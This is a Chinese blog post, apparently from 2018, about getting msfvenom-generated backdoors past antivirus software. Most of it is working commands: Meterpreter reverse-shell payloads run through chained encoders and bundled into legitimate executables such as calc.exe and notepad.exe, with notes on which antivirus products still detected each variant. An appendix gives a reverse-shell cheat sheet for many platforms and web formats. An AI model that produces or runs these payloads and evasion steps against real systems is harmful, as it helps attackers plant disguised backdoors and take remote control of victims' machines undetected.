msfvenom生成后门的免杀测试

正文:

参考:
https://www.cnblogs.com/xishaonian/p/6851475.html
https://www.cnblogs.com/zlgxzswjy/p/6881904.html
https://www.cnblogs.com/ghost00011011/p/7994396.html
http://www.freebuf.com/sectool/118714.html
https://blog.csdn.net/wyf12138/article/details/79825833
常见的免杀方式有:修改特征码/修改程序入口点/花指令/加壳等

在线测试网站:

http://www.hackerdoor.com/:里面有病毒在线查杀模块
Virustotal (www.virustotal.com)
Virscan (www.virscan.org)

一.基础知识:

静态免杀是能够绕过杀软检测,运行时也不会报毒。但是执行危险命令就会报毒,比如说新建用户、进程注入等。
1.msfvenom -l encoders   可以查看支持哪些编码 Framework Encoders
2.命令含义
-a <arch> 设置目标的指令集架构,这里我们选择x86即可
–platform <platform> 设置目标平台,这里是windows,可以通过–help-platforms选项查看msfvenom支持的所有平台
-p <payload> 设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads查看所有攻击载荷
-e <encoder> 指定编码器,我会组合使用不同的编码器,可以通过-l encoders查看所有编码器
-i <count> 指定编码迭代的次数
-x <path> 指定模版
-k 该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上。
-f <format> 指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用–help-formats查看所有支持的格式

二,操作生成测试

1.
一个最普通的,如果仅仅是想体验metasploit的shell:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.74.131 LPORT=5556 -f exe > shell.exe
2.
https://blog.csdn.net/mickeymouse1928/article/details/71160027
没有进行尝试,总的来说,是生成c语言的shell,再进行c程序编译
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.114.140 lport=5555 -f c
 
3.第一次先进行编码

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 10 -k calc.exe -f exe > seccalc.exe

这里使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码
不出意外,电脑管家都没有过,被杀
测试360也没有过
但在线测试时,还是能过一半吧
2)多加密几种,能过电脑管家,360过不了,要报毒

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 3 -f raw | msfvenom -a x86 --platform windows -e x86/alpha_upper -i 4 -f exe | msfvenom -a x86 --platform windows -e x86/countdown -i 2 -x yun.exe -f exe -k > cadscalc.exe

4.
第三次尝试

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/call4_dword_xor -i 14 LHOST=192.168.74.133 LPORT=5110 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 13 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -b "&" -i 4 -f raw | msfvenom -a x86 --platform windows -e cmd/powershell_base64 -i 10 -x notepad.exe -k -f exe > fdesadalc.exe

还是不能过360,但可以创建会话,建议换个执行和编码软件
可以执行会话和shell命令,只要不进行360云查杀,是不会报毒和断开会话的
5.
各种进行依靠的程序和编码效果都不一样,可能被依靠程序不能运行,迷惑性不强,可能编码不好,报错,可能编码效果不好
暂时还未做出一个能过360的后门
 

附录:

最后看下基础的生成命令
转自:https://www.cnblogs.com/xishaonian/p/6851475.html

1.    –p (- -payload-options)
添加载荷payload。
载荷这个东西比较多,这个软件就是根据对应的载荷payload生成对应平台下的后门,所以只有选对payload,再填写正确自己的IP,PORT就可以生成对应语言,对应平台的后门了!!!
(- -payload-options 列出payload选项)
2.    –l
查看所有payload encoder nops。
3.    –f (- -help-formats)
输出文件格式。
(- -help-formats 列出所有文件格式)
Executable formats:
asp, aspx, aspx-exe, axis2, dll, elf, elf-so, exe, exe-only, exe-service, exe-small, hta-psh, jar, loop-vbs, macho, msi, msi-nouac, osx-app, psh, psh-net, psh-reflection, psh-cmd, vba, vba-exe, vba-psh, vbs, war
Transform formats:
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
4.    –e
编码免杀。
5.    –a (- -platform  – -help-platforms)
选择架构平台
x86 | x64 | x86_64
Platforms:
windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
6.    –o
文件输出。
7.    –s
生成payload的最大长度,就是文件大小。
8.    –b
避免使用的字符 例如:不使用 ‘\0f’。
9.    –i
编码次数。
10.         –c
添加自己的shellcode。
11.         –x | -k
捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
MSFVENOM实例
12.         普通生成
    msfvenom -p <payload> <payload options> -f <format> -o <path>
    msfvenom –p windows/meterpreter/reverse_tcp –f exe –o C:\back.exe
13.         编码处理型
    msfvenom -p <payload> -e <encoder > -i <encoder times> -n <nopsled> -f <format> -o <path>
    msfvenom –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
14.         捆绑
    Msfvenom –p windows/meterpreter/reverse_tcp –platform windows –a x86 –x C:\nomal.exe –k –f exe –o C:\shell.exe
15.         Windows
    Msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o C:\back.exe
    Msfvenom –platform windows –a x86 –p windows/x64/meterpreter/reverse_tcp –f exe –o C:\back.exe
16.         Linux
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
17.         MAC
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
18.         PHP
    msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
19.         Asp
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
20.         Aspx
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx > shell.aspx
21.         JSP
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
22.         War
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
23.         Bash
    msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw > shell.sh
24.         Perl
    msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
25.         Python
    msfvenom -p python/meterpreter/reverser_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
转载:http://www.srcbug.com/2017/05/05/msfvenom%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/

 
2018.8.16

发表评论

电子邮件地址不会被公开。 必填项已用*标注